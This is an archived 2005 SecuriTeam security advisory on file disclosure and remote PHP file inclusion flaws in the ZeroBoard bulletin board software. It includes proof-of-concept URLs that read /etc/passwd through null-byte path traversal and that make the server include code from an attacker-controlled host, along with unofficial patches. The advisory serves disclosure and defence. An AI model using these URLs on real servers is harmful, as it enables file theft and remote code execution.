[UNIX] ZeroBoard Multiple Vulnerabilities
From: SecuriTeam (support_at_securiteam.com)
Date: 01/13/05
- Previous message: SecuriTeam: "[EXPL] Veritas Backup Exec Agent Browser Registration Request Exploit"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 13 Jan 2005 14:36:42 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
ZeroBoard Multiple Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://nzeo.com/> ZeroBoard is "one of the most widely used web BBS
applications in Korea". Multiple vulnerabilities have been discovered in
ZeroBoard, these vulnerabilities allow either to disclose sensitive files
stored on the server, or to include arbitrary PHP files and cause their
execution.
DETAILS
File Disclosure Vulnerability
Required environment settings:
In php.ini the following must be set: magic_quotes_gpc = off
(NOTE: outlogin.php is only vulnerable when it is launched under PHP 5.x)
Description:
PHP will discarding the input values containing NULL characters when is
magic_quotes_gpc set to off.
The following vulnerable code can be found in _head.php:
if(eregi(":\/\/",$_zb_path)) $_zb_path="";
include $_zb_path."lib.php";}
The following vulnerable code can be found in include/write.php:
if(eregi(":\/\/",$dir)) $dir=".";
include $dir."/write.php";
The following vulnerable code can be found in outlogin.php:
if(eregi(":\/\/",$_zb_path)) $_zb_path="./";
[snip]
@include $_zb_path."_head.php";
Proof of concept:
Any of the following URLs will trigger the vulnerability:
http://[victim]/_head.php?_zb_path=../../../../../etc/passwd%00
http://[victim]/include/write.php?dir=../../../../../etc/passwd%00
http://[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00
PHP Source Injection Vulnerability
Required environment settings:
In php.ini the following must be set: register_globals = On and/or
allow_url_fopen = On.
Description:
Uninitialized usage of the $dir variable in print_category.php allow a
remote attacker to include arbitrary PHP files that reside on another web
server.
Proof of concept
Any of the following URLs will trigger the vulnerability:
http://[victim]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/
http://[victim]/skin/zero_vote/login.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/setup.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/ask_password.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/error.php? dir=http://[attacker]/
The following vulnerable code can be found in include/print_category.php:
include "$dir/category_head.php";
The following vulnerable code can be found in skin/zero_vote/login.php,
skin/zero_vote/setup.php and /zero_vote/setup.php:
<? include "$dir/value.php3"; ?>
Unofficial Patches:
Without an official patch for these vulnerabilities your only option is to
modify the vulnerable sources with following recommendations:
As of ZeroBoard version 4.1pl5
Modify the 13rd line of _head.php as following:
if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="";
Modify the 16th line of include/write.php as following:
if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";
Modify the 50th line of outlogin.php as following:
if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="./";
Insert the following code at the 3rd line of include/print_category.php,
if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";
Modify the 1st line of skin/zero_vote/login.php, the 42nd line of
skin/zero_vote/setup.php, the 1st line of skin/zero_vote/ask_password.php,
and the 1st line of skin/zero_vote/error.php as following:
<? if(eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir="."; include
"$dir/value.php3"; ?>
ADDITIONAL INFORMATION
The information has been provided by <mailto:advisory@stgsecurity.com>
SSR Team.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[EXPL] Veritas Backup Exec Agent Browser Registration Request Exploit"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|